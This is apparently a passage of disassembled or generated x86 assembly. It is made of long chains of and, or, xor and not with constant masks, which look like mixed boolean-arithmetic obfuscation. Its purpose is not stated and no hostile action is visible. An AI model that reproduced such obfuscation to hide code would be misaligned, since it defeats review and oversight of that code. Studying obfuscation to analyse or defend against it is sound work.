and ebx, 0xfffff6d4
or ecx, ebx
not edx
mov ebx, ebp
xor ecx, eax
not ebx
or edx, ecx
mov dword [esp + 8], ebx
mov eax, edx
and edx, 0x6b6d
not eax
and eax, 0xffff9492
or edx, eax
mov eax, edi
xor edi, 0x4020
xor eax, 0xffffbc1c
and edi, 0x5020
mov ecx, edx
xor edx, 0x1012
mov esi, eax
xor ecx, 0x6a44
and edx, 0x113b
and esi, 0xffffafdf
and ecx, 0xffffeec4
or esi, edi
or ecx, edx
xor esi, 0xffffafdf
or esi, eax
mov eax, esi
and esi, 0xffff8370
not eax
and eax, 0x7c8f
or esi, eax
mov eax, ecx
xor ecx, 0x113b
mov edx, esi
xor esi, 0x7c8f
xor eax, 0xffffeec4
xor edx, 0xffff8370
and edx, ecx
or ecx, esi
and esi, eax
not ecx
or esi, edx
mov edx, ebp
mov eax, ecx
xor edx, 0xffff8b36
and eax, esi
xor esi, ecx
and edx, ebp
or esi, eax
mov eax, ebx
and ebx, 0xfffff86f
and eax, 0xffff8b36
mov dword [esp], esi
mov esi, dword [esp + 4]
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, edx
and edx, 0x1e38
not eax
and eax, 0xffffe1c7
or edx, eax
mov eax, edx
mov ecx, edx
or edx, ebp
not eax
and ecx, 0x790
not edx
and eax, 0xfffff86f
or eax, ecx
mov ecx, ebp
and ecx, 0x790
or ebx, ecx
mov ecx, dword [esp + 0xc]
xor ebx, eax
or edx, ebx
mov eax, edx
and edx, 0xffff85eb
not eax
and ecx, 0xffffa9de
and eax, 0x7a14
or edx, eax
mov eax, esi
and eax, 0x5621
or ecx, eax
mov eax, ecx
xor ecx, 0x221
xor eax, 0x10
or ecx, 0x200c
and ecx, 0x22ad
and eax, 0x5410
or eax, ecx
mov ecx, esi
mov esi, dword [esp]
or ecx, 0x56b1
mov edi, ecx
and ecx, 0x22ad
not edi
and edi, 0xffff8942
or edi, ecx
xor edi, eax
mov eax, edi
and edi, 0xffffc9a0
not eax
and eax, 0x365f
or edi, eax
mov ecx, edi
xor edi, 0x60ee
mov eax, edi
xor ecx, 0xa11
and edi, 0xffff950e
and ecx, 0x6af1
or eax, 0x6af1
or ecx, edi
mov edi, eax
mov ebx, eax
not edi
and ebx, 0x3877
and edi, 0xffff8508
or edi, ebx
mov ebx, ecx
and ecx, 0xffffc788
not ebx
or eax, ebx
and ebx, 0x3877
or ecx, ebx
not eax
xor ecx, edi
or eax, ecx
mov ecx, eax
mov edi, eax
xor ecx, 0x62d6
and edi, 0x79b4
and ecx, eax
not eax
and eax, 0xffff864b
or edi, eax
mov eax, edi
xor edi, 0x242
or edi, 0xffff9d29
xor eax, 0x4094
mov ebx, edi
and eax, 0x4096
and ebx, 0x3360
or eax, ebx
mov ebx, ecx
and ecx, 0xffffcc9f
not ebx
or edi, ebx
and ebx, 0x3360
or ecx, ebx
not edi
xor ecx, eax
or edi, ecx
mov ecx, esi
mov eax, edi
and edi, 0xffffb3c0
xor ecx, 0x568c
not eax
and ecx, esi
and eax, 0x4c3f
or edi, eax
mov eax, edi
xor edi, 0x2641
xor eax, 0xffffd000
and edi, 0x2757
and eax, 0xffffd8a8
or edi, eax
mov eax, esi
not eax
mov dword [esp + 0xc], eax
and eax, 0x568c
mov ebx, eax
and ebx, ecx
xor ecx, eax
or ecx, ebx
mov eax, ecx
and ecx, 0xfffffbb0
not eax
and eax, 0x44f
or ecx, eax
mov eax, ecx
mov ebx, ecx
xor ecx, 0x42c1
xor eax, 0xffffad3c
xor ebx, 0x3832
and ecx, 0x6af1
and ebx, eax
and eax, 0xffff950e
or eax, ecx
mov ecx, ebx
and ebx, 0xffffe859
not ecx
mov ebp, ecx
and ebp, 0x17a6
or ebx, ebp
mov ebp, eax
and eax, 0xffffe859
not ebp
or ecx, ebp
and ebp, 0x17a6
or eax, ebp
not ecx
mov ebp, dword [esp + 0x1c]
xor eax, ebx
or ecx, eax
mov eax, ecx
and ecx, 0x49fe
not eax
and eax, 0xffffb601
or ecx, eax
mov eax, ebp
mov dword [esp + 0x20], ecx
mov ecx, dword [esp + 0x10]
and eax, 0x580e
mov ebx, eax
mov esi, ecx
xor esi, 0x580e
and esi, ecx
and ecx, 0x1eca
and ebx, esi
xor esi, eax
or esi, ebx
mov eax, esi
and esi, 0xffffc6c3
not eax
and eax, 0x393c
or esi, eax
mov eax, esi
xor esi, 0xbc3
xor eax, 0xffffe034
mov ebx, esi
mov dword [esp + 4], esi
mov esi, ebp
and esi, 0xffffe135
and ebx, 0x1eca
and eax, 0xffffe135
or eax, ebx
or esi, ecx
mov ebx, edi
xor edi, 0x2757
xor esi, eax
mov eax, dword [esp + 4]
xor ebx, 0xffffd8a8
xor eax, esi
and eax, esi
mov esi, edi
and edi, 0x1c15
mov dword [esp + 4], eax
mov eax, ebx
and esi, 0x32b9
and eax, 0xffffcd46
or esi, eax
mov eax, edx
xor edx, 0x7a14
xor esi, 0x32b9
mov ebp, edx
xor eax, 0xffff8081
and ebp, esi
xor esi, edx
and eax, 0xffff9095
or esi, ebp
mov ebp, edx
and ebp, 0x6f6a
or eax, ebp
xor eax, 0x6f6a
or eax, ebx
and ebx, 0xffffe3ea
or edi, ebx
mov ebx, eax
xor edi, 0xffffe3ea
and ebx, 0x537a
or edi, edx
mov edx, eax
not edx
or eax, edi
and edx, 0xffffac85
not eax
or edx, ebx
mov ebx, edi
and edi, 0x537a
not ebx
and ebx, 0xffffac85
or ebx, edi
mov edi, esi
xor ebx, edx
mov edx, esi
xor edi, 0xffffb753
or eax, ebx
not edx
mov ebx, esi
and edi, edx
mov edx, eax
not edx
and ebx, edx
xor edx, esi
and esi, 0x48ac
mov ebp, esi
or edx, ebx
and ebp, edi
xor edi, esi
mov esi, eax
xor esi, 0x48ac
or edi, ebp
and esi, eax
or eax, 0xffffb753
mov ebp, esi
mov ecx, eax
and esi, 0xffffa253
not ebp
and ecx, 0x5dac
or eax, ebp
and ebp, 0x5dac
or esi, ebp
not eax
mov ebp, dword [esp + 0x20]
xor esi, ecx
mov ecx, edi
or eax, esi
not ecx
and ecx, eax
not eax
and eax, edi
mov edi, ebp
or eax, ecx
xor edi, 0xffffb601
mov esi, eax
and eax, 0x6041
not esi
mov ecx, esi
or esi, edx
and ecx, 0xffff9fbe
not esi
or eax, ecx
mov ecx, edx
and edx, 0xffff9fbe
not ecx
and ecx, 0x6041
or ecx, edx
xor ecx, eax
mov eax, ebp
xor ebp, 0x8e9
or esi, ecx
mov ecx, edi
xor eax, 0x49fe
and edi, 0x6596
and ecx, 0x4117
and ebp, eax
mov dword [esp + 0x10], esi
and eax, 0xffff9a69
mov edx, ecx
or eax, edi
and edx, ebp
xor ebp, ecx
or ebp, edx
mov ecx, ebp
and ebp, 0x6a3c
not ecx
and ecx, 0xffff95c3
or ebp, ecx
mov ecx, dword [esp + 4]
mov dword [esp + 0x20], ebp
mov edx, ecx
not edx
mov esi, edx
and esi, ecx
mov ecx, edx
and ecx, esi
xor esi, edx
or esi, ecx
mov ecx, ebp
xor ebp, 0xffffd01d
xor ecx, 0xffffd4d4
mov edi, esi
mov ebx, esi
mov dword [esp + 0x28], esi
mov esi, dword [esp + 4]
mov dword [esp + 0x1c], ecx
and ecx, 0x4c9
not edi
and ebx, 0xffffd910
or ebp, ecx
mov dword [esp + 0x2c], edi
mov ecx, ebp
and ebp, 0x257c
not ecx
and esi, 0xffffc426
and ecx, 0xffffda83
or ebp, ecx
mov ecx, eax
xor eax, 0x615f
xor ecx, 0xffff9a20
and ecx, 0xfffffb36
or eax, ecx
mov ecx, eax
and eax, 0x210d
not ecx
and ecx, 0xffffdef2
or eax, ecx
mov ecx, edi
and ecx, 0x26ef
or ebx, ecx
xor ebx, 0x2226
mov ecx, ebx
xor ecx, edi
and ecx, ebx
mov ebx, eax
xor eax, 0xffffdef2
mov edi, ecx
mov ecx, edx
xor ebx, 0x210d
and ecx, 0x3bd9
and ebx, 0xffffe1ef
mov dword [esp + 0x34], edi
or esi, ecx
mov ecx, ebp
xor ebp, 0xffffda83
xor esi, 0x3f10
xor ecx, 0x216c
or esi, edx
mov edx, ebp
and ebp, 0x1e10
and ecx, 0xffffe1ef
or edx, eax
and eax, 0x1e10
or ecx, ebp
mov ebp, esi
or ebx, eax
mov eax, edx
not ebp
not eax
xor ebx, ecx
mov ecx, edx
and ebp, 0xffffaa70
and ecx, 0x6d8b
and eax, 0xffff9274
or eax, ecx
mov ecx, ebx
and ebx, 0xffff9274
not ecx
or edx, ecx
and ecx, 0x6d8b
or ebx, ecx
not edx
xor ebx, eax
mov eax, esi
or esi, 0xffff8875
and eax, 0x558f
or edx, ebx
or ebp, eax
mov eax, edi
or edi, 0x778a
mov ecx, edi
mov ebx, edi
not ecx
and ebx, 0x224c
and ecx, 0xffff8831
or ecx, ebx
mov ebx, eax
xor ebx, 0xffff8875
and ebx, eax
mov eax, ebx
and ebx, 0xffffddb3
not eax
or edi, eax
and eax, 0x224c
or ebx, eax
not edi
xor ebx, ecx
mov ecx, ebp
xor ebp, 0xffffddfa
xor ecx, 0xffffaa70
or edi, ebx
and ebp, ecx
mov ebx, ebp
and ebp, 0xffff9729
not ebx
mov eax, ebx
or ebx, esi
and eax, 0x68d6
not ebx
or ebp, eax
mov eax, esi
and esi, 0x68d6
not eax
and eax, 0x1708
or eax, esi
mov esi, dword [esp + 0x1c]
xor eax, ebp
mov ebp, dword [esp + 0x10]
or ebx, eax
mov eax, edi
and edi, 0xffffd266
not eax
and eax, 0x2d99
or edi, eax
mov eax, ebx
and ebx, 0xffffd266
not eax
and eax, 0x2d99
or ebx, eax
mov eax, dword [esp + 0x34]
xor ebx, edi
not eax
mov edi, eax
and edi, ecx
xor ecx, eax
mov eax, ebx
or ecx, edi
not ecx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov edi, ecx
mov eax, ecx
not edi
xor eax, 0x55a4
and edi, eax
and eax, ecx
mov ecx, edx
or edx, 0xffffaa11
not ecx
and edx, 0xffffbf35
mov ebx, ecx
and ecx, 0x4080
or ebx, 0x55a4
or ecx, edx
mov edx, ebx
and ebx, 0xffffbf35
not edx
and edx, 0x4a
or edx, ebx
xor edx, ecx
mov ecx, edi
and edi, 0xffffaf1d
not ecx
mov ebx, ecx
and ebx, 0x50e2
or edi, ebx
mov ebx, eax
and eax, 0xffffaf1d
not ebx
or ecx, ebx
and ebx, 0x50e2
or eax, ebx
not ecx
mov ebx, ebp
xor eax, edi
and ebx, 0xffffe8bd
or ecx, eax
mov eax, edx
not eax
and eax, ecx
not ecx
and ecx, edx
mov edx, dword [esp + 0x20]
or ecx, eax
mov eax, esi
and esi, 0x428
xor edx, 0x2b03
and edx, 0xfffffbd7
or edx, esi
mov esi, dword [esp + 0x2c]
or eax, esi
and esi, 0x428
mov edi, esi
mov esi, dword [esp + 0x28]
and esi, 0xfffffbd7
or esi, edi
mov edi, eax
xor esi, edx
mov edx, eax
and edi, 0x6ebc
not edx
and edx, 0xffff9143
or edx, edi
mov edi, esi
and esi, 0xffff9143
not edi
or eax, edi
and edi, 0x6ebc
or esi, edi
not eax
xor esi, edx
or eax, esi
mov esi, ecx
mov edx, eax
xor esi, eax
and eax, ecx
and esi, ecx
not edx
not ecx
and ecx, edx
or eax, ecx
mov ecx, esi
and ecx, eax
xor eax, esi
or eax, ecx
mov edx, eax
mov esi, eax
not edx
and esi, 0x43
mov ecx, edx
and edx, 0x5024
or esi, edx
mov edx, eax
and ecx, 0xffffdb90
xor edx, 0x5067
xor esi, 0x43
and edx, eax
mov edi, esi
and edi, edx
xor edx, esi
or edx, edi
mov esi, edx
and edx, 0x3eb3
not esi
and esi, 0xffffc14c
or edx, esi
mov esi, edx
xor edx, 0xffff9108
xor esi, 0x2040
and edx, 0xffffdf9c
and esi, 0x2063
or esi, edx
mov edx, ebp
and ebp, 0xffffb29c
not edx
mov edi, edx
and edi, 0x4d63
or ebp, edi
mov edi, ebp
mov ebp, esi
xor esi, 0x4d00
xor ebp, 0x2000
and esi, 0x4d63
and ebp, 0xffffb29c
or ebp, esi
xor ebp, edi
not ebp
or ebp, edx
and edx, 0x1742
or ebx, edx
mov edx, eax
mov edi, ebp
and edx, 0x246f
or edi, 0xae5
or ecx, edx
mov edx, eax
mov eax, ebx
xor ebx, 0x1300
xor eax, 0xffffe8bd
and ebx, 0xffffdb90
or edx, eax
and eax, 0x246f
or ebx, eax
not edx
mov eax, ebp
xor ebx, ecx
xor eax, 0xfffff51a
or edx, ebx
and eax, ebp
mov ecx, edx
mov esi, edx
xor ecx, 0xfffff51a
and esi, ebp
xor ebp, edx
and ecx, edx
not edx
or ebp, esi
and edx, 0xfffff51a
mov ebx, ecx
and ebx, edx
xor edx, ecx
mov ecx, eax
and eax, 0xfffffb10
not ecx
or edx, ebx
mov ebx, ecx
or ecx, edi
and ebx, 0x4ef
not ecx
or eax, ebx
mov ebx, edi
and edi, 0x4ef
not ebx
and ebx, 0xfffff110
or ebx, edi
xor ebx, eax
mov eax, edx
and edx, 0x1576
not eax
or ecx, ebx
and eax, 0xffffea89
or edx, eax
mov eax, ecx
and ecx, 0x1576
not eax
and eax, 0xffffea89
or ecx, eax
mov eax, ebp
and ebp, 0x9fc
not eax
xor ecx, edx
mov edx, dword [esp + 0x18]
and eax, 0xfffff603
or ebp, eax
mov eax, ecx
xor ebp, 0x9fc
and eax, ebp
xor ebp, ecx
mov ecx, edx
mov ebx, edx
mov edi, edx
or ebp, eax
mov eax, dword [esp + 8]
and ecx, 0xffffca06
and ebx, 0x570
and edi, 0xffffb312
mov dword [esp + 4], ebp
mov ebp, dword [esp]
and eax, 0x3089
or ecx, eax
xor ecx, 0xffffca06
or ebx, ecx
mov ecx, ebp
mov eax, ebx
and ebx, 0x1cc
and ecx, 0xffff9514
not eax
and eax, 0xfffffe33
or ebx, eax
mov eax, dword [esp + 0xc]
and eax, 0x6aeb
or ecx, eax
mov esi, ecx
and ecx, 0xa0
not esi
or esi, 0xfffff71c
mov eax, esi
and eax, 0xffffa957
or ecx, eax
mov eax, ebp
xor eax, 0x8e3
and eax, ebp
mov edx, eax
and eax, 0x56a8
not edx
or esi, edx
and edx, 0xffffa957
or eax, edx
not esi
xor eax, ecx
or esi, eax
mov eax, esi
and esi, 0x8e3
not eax
and eax, 0xfffff71c
or esi, eax
mov eax, ebx
xor ebx, 0x4bc
mov edx, ebx
xor eax, 0xfffffb43
mov ecx, ebx
mov dword [esp + 0x20], esi
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x10], eax
and eax, 0xffffea8b
and edx, 0x1574
and ecx, 0xffffccbd
or edx, eax
xor edx, 0x2636
or ecx, edx
mov edx, dword [esp + 8]
mov eax, ecx
and ecx, 0xffffa77a
not eax
and eax, 0x5885
or ecx, eax
mov eax, edx
and edx, 0x3342
and eax, 0x4ced
or eax, edi
mov edi, esi
not esi
xor eax, 0xffff8050
mov ebx, esi
mov dword [esp + 8], esi
or edx, eax
mov eax, esi
mov esi, edi
and eax, 0x594c
and esi, 0xffffa6b3
mov edi, edx
or esi, eax
and edi, 0xffffe7e7
xor esi, 0xffff95f1
mov eax, esi
xor eax, ebx
and eax, esi
mov esi, ebp
mov ebp, ecx
xor ecx, 0x5080
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0xc]
xor esi, 0xffffccbd
xor ebp, 0xffffa77a
and ecx, 0x51a8
mov ebx, ebp
and ebp, 0x697b
and ebx, 0xffffae57
or ebx, ecx
and eax, 0x3342
mov ecx, ebx
or esi, eax
xor ecx, 0xffffae57
mov eax, esi
and esi, 0xffffb90e
mov dword [esp + 0xc], ecx
not eax
and eax, 0x46f1
or esi, eax
mov eax, ebx
xor ebx, 0x51a8
xor eax, 0xffffc72c
mov dword [esp], esi
mov esi, edx
and eax, ecx
not esi
mov ecx, eax
and ecx, ebp
xor ebp, eax
mov eax, esi
or ebp, ecx
mov ecx, edx
and eax, 0x697b
xor ecx, 0x697b
and ecx, edx
mov edx, ecx
and edx, eax
xor eax, ecx
mov ecx, ebp
or eax, edx
not ecx
mov edx, dword [esp + 0xc]
and ecx, eax
not eax
and eax, ebp
or eax, ecx
mov ecx, ebx
or ebx, esi
and esi, 0x1818
and ecx, 0x1818
and edx, 0xffffe7e7
or edi, esi
not ebx
or edx, ecx
mov ecx, eax
xor edi, edx
mov edx, dword [esp + 0x18]
or ebx, edi
not ebx
and ecx, ebx
xor ebx, eax
mov eax, edx
or ebx, ecx
mov ecx, edx
xor eax, 0x10da
and ecx, 0xffffbddc
mov dword [esp + 0xc], ebx
and eax, edx
not edx
and edx, 0x4223
or ecx, edx
mov edx, ecx
mov esi, ecx
xor ecx, 0x4223
xor edx, 0xffffbddc
xor esi, 0x52f9
and esi, edx
mov dword [esp + 0x18], edx
mov ebp, esi
and esi, 0x49d0
not ebp
mov ebx, ebp
and ebx, 0xffffb62f
or esi, ebx
mov ebx, eax
and eax, 0x49d0
not ebx
or ebp, ebx
and ebx, 0xffffb62f
or eax, ebx
not ebp
xor eax, esi
or ebp, eax
mov eax, dword [esp]
mov ebx, eax
mov edi, eax
xor eax, 0xffffa9d4
xor ebx, 0x46f1
xor edi, 0xffffb90e
mov edx, ebx
and eax, edi
and ebx, 0xffffd9d5
and edx, 0x10da
mov esi, edx
and esi, eax
xor eax, edx
mov edx, ebp
or eax, esi
not edx
mov esi, dword [esp + 0x18]
and edx, eax
not eax
and eax, ebp
or eax, edx
mov edx, ecx
or ecx, edi
and edi, 0x262a
and edx, 0x262a
and esi, 0xffffd9d5
or ebx, edi
not ecx
mov edi, dword [esp + 0xc]
or esi, edx
xor ebx, esi
mov esi, dword [esp + 8]
or ecx, ebx
mov edx, ecx
and ecx, 0xffff89ed
not edx
and edx, 0x7612
or ecx, edx
mov edx, eax
xor ecx, 0xffff89ed
and edx, ecx
xor ecx, eax
or ecx, edx
mov edx, dword [esp + 0x1c]
mov eax, ecx
not eax
or eax, edi
not edi
or edi, ecx
not eax
and edx, 0xffff9755
not edi
mov ecx, eax
and ecx, edi
xor edi, eax
or edi, ecx
mov ecx, dword [esp + 0x10]
mov eax, ecx
xor eax, esi
and esi, 0xffff9755
and eax, ecx
and ecx, 0x68aa
or ecx, edx
mov edx, esi
mov esi, dword [esp + 0x20]
and esi, 0x68aa
or esi, edx
xor esi, ecx
mov ecx, eax
and eax, 0xffffa696
not ecx
mov edx, ecx
and edx, 0x5969
or eax, edx
mov edx, esi
and esi, 0xffffa696
not edx
or ecx, edx
and edx, 0x5969
or esi, edx
not ecx
xor esi, eax
or ecx, esi
mov eax, ecx
not eax
mov edx, eax
and eax, ecx
and ecx, 0xffffbe76
and edx, 0x4189
or ecx, edx
xor ecx, 0xffffbe76
mov edx, ecx
xor ecx, eax
and edx, eax
or ecx, edx
mov eax, ecx
and ecx, 0xfffffaa9
not eax
and eax, 0x556
or ecx, eax
mov edx, ecx
xor ecx, 0x450
xor edx, 0xa80
and ecx, 0xfffff479
and edx, 0xb86
or edx, ecx
mov eax, edx
xor edx, 0x904
xor eax, 0xffffb451
and edx, 0x492c
and eax, 0xffffb6d3
or eax, edx
mov edx, edi
mov ecx, eax
xor eax, 0x492c
xor edx, eax
xor ecx, 0xffffb6d3
and eax, edi
and edx, edi
not edi
and edi, ecx
mov ecx, edx
and edx, 0x9dd
or eax, edi
not ecx
mov esi, eax
mov edi, ecx
and eax, 0x9dd
not esi
and edi, 0xfffff622
or ecx, esi
and esi, 0xfffff622
or edx, edi
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov eax, ecx
mov edx, ecx
and ecx, 0xffffbc6d
not eax
or edx, 0x46a2
mov edi, eax
mov esi, edx
and edx, 0x97c
or edi, 0xffffb95d
not esi
mov ebx, edi
and esi, 0xffffb001
and edi, 0x97c
not ebx
or esi, edx
and ebx, 0x4682
or ebx, edi
xor ebx, esi
mov esi, eax
mov edx, ebx
and ebx, 0xffffb95d
and esi, 0x4392
not edx
or ecx, esi
and edx, 0x46a2
xor ecx, 0xffff9bef
or ebx, edx
xor eax, ecx
mov edx, ebx
and ebx, 0xffffd87d
and eax, ecx
not edx
mov ecx, eax
and eax, 0xffffe68e
and edx, 0x2782
not ecx
or ebx, edx
mov edi, ecx
mov edx, ebx
and edi, 0x1971
xor edx, 0x2782
or eax, edi
and edx, ebx
mov esi, edx
xor edx, 0x1971
not esi
and edx, esi
mov edi, edx
and edx, 0x5395
not edi
mov ebx, edi
and ebx, 0xffffac6a
or edx, ebx
mov ebx, esi
and ebx, ecx
xor ecx, esi
or esi, 0x1971
mov ebp, esi
or edi, esi
and esi, 0xffffac6a
or ecx, ebx
not ebp
not edi
and ebp, 0x4284
or ebp, esi
xor ebp, edx
or edi, ebp
mov ebp, dword [esp + 4]
mov edx, edi
and edi, 0xffffe0d9
not edx
and edx, 0x1f26
or edi, edx
mov edx, eax
and eax, 0xffffe0d9
mov ebx, ebp
not edx
and ebx, 0x6af2
and edx, 0x1f26
or eax, edx
mov edx, ecx
and ecx, 0x7148
not edx
xor eax, edi
and edx, 0xffff8eb7
or ecx, edx
mov edx, eax
and eax, 0x3d74
mov esi, ecx
not edx
xor ecx, 0xffff8eb7
mov edi, edx
xor esi, 0x3140
or edx, ecx
and ecx, 0xffffc28b
and esi, 0x3d74
and edi, 0xffffc28b
not edx
or eax, edi
or esi, ecx
xor esi, eax
or edx, esi
mov eax, edx
mov ecx, edx
xor eax, 0x2782
and ecx, 0x280
and eax, edx
not edx
and edx, 0x2502
or ecx, edx
xor ecx, 0x280
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
mov esi, eax
and eax, 0xbe8
not ecx
and esi, 0xfffffd0c
mov edx, ecx
and ecx, 0xfffff417
and edx, 0x2f3
or eax, ecx
or esi, edx
mov ecx, eax
xor eax, 0xfffff417
mov edx, esi
xor ecx, 0xbe8
xor esi, 0xfffffd0c
xor edx, 0x2f3
and ecx, esi
and eax, edx
mov edx, ebp
or eax, ecx
not eax
or eax, esi
mov ecx, eax
and eax, 0xffff950d
not ecx
mov edi, ecx
mov esi, ecx
or edx, ecx
xor edi, ebp
and esi, 0x6af2
not edx
and ecx, edi
and edi, ebp
not ebp
or eax, esi
and ebp, 0xffff950d
or ebp, ebx
mov ebx, ecx
and ecx, 0x2fcc
xor eax, ebp
not ebx
or edx, eax
mov eax, edx
and edx, 0xffffb42c
not eax
and eax, 0x4bd3
or edx, eax
mov eax, ebx
and eax, 0xffffd033
mov esi, edx
xor edx, 0x4bd3
or ecx, eax
mov eax, edi
and edi, 0x2fcc
xor esi, 0xffffb42c
not eax
or ebx, eax
and eax, 0xffffd033
or edi, eax
not ebx
xor edi, ecx
mov ecx, esi
or ebx, edi
mov eax, ebx
and ebx, edx
not eax
xor ecx, eax
and eax, esi
and ecx, esi
or eax, ebx
mov edi, ecx
mov edx, eax
and ecx, 0xfffff6b9
and eax, 0xfffff6b9
not edi
not edx
mov esi, edi
or edi, edx
and edx, 0x946
and esi, 0x946
or eax, edx
not edi
or ecx, esi
xor eax, ecx
or edi, eax
mov eax, edi
mov ecx, edi
mov ebx, edi
mov dword [esp], edi
not eax
and ecx, 0xffff9f91
mov edx, eax
mov esi, eax
and edx, 0x606e
and esi, edi
or ecx, edx
mov edx, ecx
xor ecx, 0x606e
xor edx, 0xffff9500
mov edi, ecx
and edi, 0xabf
and edx, 0xfffff540
or edx, edi
mov edi, esi
and esi, 0xfffff540
not edi
or ecx, edi
and edi, 0xabf
or esi, edi
not ecx
mov edi, ebx
xor esi, edx
and edi, 0x41af
or ecx, esi
mov edx, ecx
and ecx, 0x19c9
not edx
and edx, 0xffffe636
or edx, ecx
mov esi, edx
xor edx, 0x2216
xor esi, 0x1c0
and edx, 0x3a1f
and esi, 0xffffc5e0
or esi, edx
mov edx, eax
and edx, 0xffffbe50
mov ecx, esi
or edx, edi
xor ecx, 0xffffc5e0
xor edx, 0xffffbe50
mov ebx, ecx
or edx, eax
and ebx, 0xffff8e3d
mov edi, edx
and edx, 0xffffe2de
not edi
and edi, 0x1d21
or edx, edi
mov edi, esi
xor esi, 0x5593
xor edi, 0x3002
and esi, ecx
and edi, 0x71c2
or ebx, edi
mov ecx, ebx
xor ebx, 0xffffe1b1
xor ecx, 0xffff8e3d
and ebx, ecx
mov edi, ebx
and ebx, 0x880
not edi
mov ebp, edi
and ebp, 0xfffff77f
or ebx, ebp
mov ebp, esi
and esi, 0x880
not ebp
or edi, ebp
and ebp, 0xfffff77f
or esi, ebp
not edi
xor esi, ebx
or edi, esi
mov esi, edx
xor edx, 0x1d21
xor esi, 0xffff8052
mov ebp, edx
or esi, 0x6f8c
or ebp, 0xffff9073
mov ebx, esi
and esi, 0xffffc39d
not ebx
and ebx, 0x1062
or ebx, esi
mov esi, ebp
and ebp, 0xffffc39d
not esi
and esi, 0x2c00
or esi, ebp
xor esi, ebx
mov ebx, edi
and edi, 0x3e35
not ebx
and ebx, 0xffffc1ca
or edi, ebx
mov ebx, esi
and esi, 0x3e35
not ebx
and ebx, 0xffffc1ca
or esi, ebx
xor esi, edi
mov edi, ecx
and edi, edx
xor edx, ecx
or edx, edi
mov ecx, edx
and edx, 0x5334
not ecx
and ecx, 0xffffaccb
or edx, ecx
mov ecx, esi
xor edx, 0x5334
and ecx, edx
xor edx, esi
or edx, ecx
mov ecx, edx
and edx, 0x79b7
not ecx
and ecx, 0xffff8648
or edx, ecx
mov ecx, edx
and edx, 0xffff945c
not ecx
and ecx, 0x6ba3
or edx, ecx
mov ecx, edx
mov esi, edx
xor edx, 0x5322
xor esi, 0x4ce2
xor ecx, 0x1214
and edx, ecx
and esi, 0x5ce2
and ecx, 0xffffa31d
or ecx, esi
mov esi, ecx
mov ebx, ecx
xor ecx, 0xfffff258
xor esi, 0xffffa31d
xor ebx, 0x1dd4
and ebx, esi
and esi, 0x5145
mov edi, ebx
and ebx, 0x4c24
or ecx, esi
not edi
mov esi, ecx
and ecx, 0x1587
mov ebp, edi
not esi
and ebp, 0xffffb3db
and esi, 0xffffea78
or ebx, ebp
mov ebp, edx
and edx, 0x4c24
or ecx, esi
not ebp
or edi, ebp
and ebp, 0xffffb3db
or edx, ebp
not edi
mov ebp, dword [esp]
xor edx, ebx
or edi, edx
mov edx, edi
and edi, 0xffffe8f4
not edx
and edx, 0x170b
or edi, edx
mov edx, edi
xor edi, 0x778
xor edx, 0x7084
mov esi, edi
and esi, 0xffff8f03
and edx, 0x70fc
or edx, esi
mov esi, ecx
xor ecx, 0xffffea78
xor esi, 0x1084
or edi, ecx
and ecx, 0xffff8f03
and esi, 0x70fc
not edi
or esi, ecx
xor esi, edx
mov edx, ebp
or edi, esi
and edx, 0x1141
mov ecx, edi
and edi, 0xffff8a90
not ecx
and ecx, 0x756f
or edi, ecx
mov ecx, eax
and eax, 0x7d75
and ecx, 0x4004
mov esi, edi
xor edi, 0x402f
or edx, ecx
mov ecx, ebp
and ebp, 0xffff828a
xor esi, 0x800
and edi, 0xffffc2bf
or ebp, eax
xor edx, 0x1141
and ecx, 0xffffaeba
and esi, 0x3d40
mov eax, ebp
or ecx, edx
xor ebp, 0x7d75
or esi, edi
and ebp, ecx
xor eax, 0xffff828a
not ecx
mov ebx, esi
xor esi, 0x3d40
and eax, ecx
xor ebx, 0xffffc2bf
or ebp, eax
mov eax, esi
not ebp
or ebp, ecx
mov ecx, esi
and ecx, ebx
mov edi, ebp
mov dword [esp], ebp
and ebx, 0x6f02
and eax, ecx
xor ecx, esi
not edi
and esi, 0xffff90fd
or ecx, eax
mov eax, ebp
and ebp, 0x228
or ebx, esi
xor eax, 0xffffe4c6
mov edx, ecx
and eax, edi
or edi, 0xffffe4c6
mov dword [esp + 4], edx
mov ecx, edi
and ecx, 0x1d95
or ebp, ecx
mov ecx, eax
and eax, 0xffffe26a
not ecx
or edi, ecx
and ecx, 0x1d95
or eax, ecx
not edi
mov ecx, edx
xor eax, ebp
not ecx
mov ebp, edx
or edi, eax
and ebp, 0xffffb60d
mov dword [esp + 8], ecx
mov eax, edi
and edi, 0x88f
not eax
and eax, 0xfffff770
or edi, eax
mov eax, ecx
and eax, 0x49f2
mov esi, edi
xor edi, 0xffffec49
or ebp, eax
mov eax, ebx
xor ebx, 0x36ae
xor esi, 0x13b6
xor eax, 0x4900
xor ebp, 0xffffefa1
and eax, 0x59ac
mov edx, ebp
or ebx, eax
xor edx, ecx
mov ecx, dword [esp]
mov eax, ebx
and ebx, 0xffff9477
and edx, ebp
mov ebp, esi
and esi, 0xbcc
not eax
and ebp, 0xffff8920
and eax, 0x6b88
or ebx, eax
mov eax, edi
and eax, 0x76df
or ebp, eax
xor ebp, 0xffffd08c
mov eax, ebp
xor eax, edi
and eax, ebp
mov ebp, ecx
xor ecx, 0x59ac
and ebp, 0x59ac
or ecx, ebp
mov ebp, ecx
and ecx, 0xffff8c14
not ebp
and ebp, 0x73eb
or ecx, ebp
mov dword [esp], ecx
mov ecx, edx
and edx, 0x4a33
not ecx
mov ebp, ecx
and ecx, 0xffffb5cc
or edx, ecx
mov ecx, ebx
xor ebx, 0x6b88
xor ecx, 0x33
or ebp, ebx
and ebx, 0xffffb5cc
and ecx, 0x4a33
or ecx, ebx
mov ebx, ebp
xor ecx, edx
mov edx, ebp
and ebx, 0x2576
not edx
and edx, 0xffffda89
or edx, ebx
mov ebx, ecx
and ecx, 0xffffda89
not ebx
or ebp, ebx
and ebx, 0x2576
or ecx, ebx
mov ebx, dword [esp]
not ebp
xor ecx, edx
mov edx, eax
or ebp, ecx
not ebp
mov ecx, ebx
xor ebx, 0x73eb
xor edx, ebx
mov dword [esp], ebx
mov ebx, eax
xor ecx, 0xffff8400
not ebx
and edx, eax
and eax, 0xffff9680
and ecx, 0xffff9680
and ebx, 0x697f
or eax, ebx
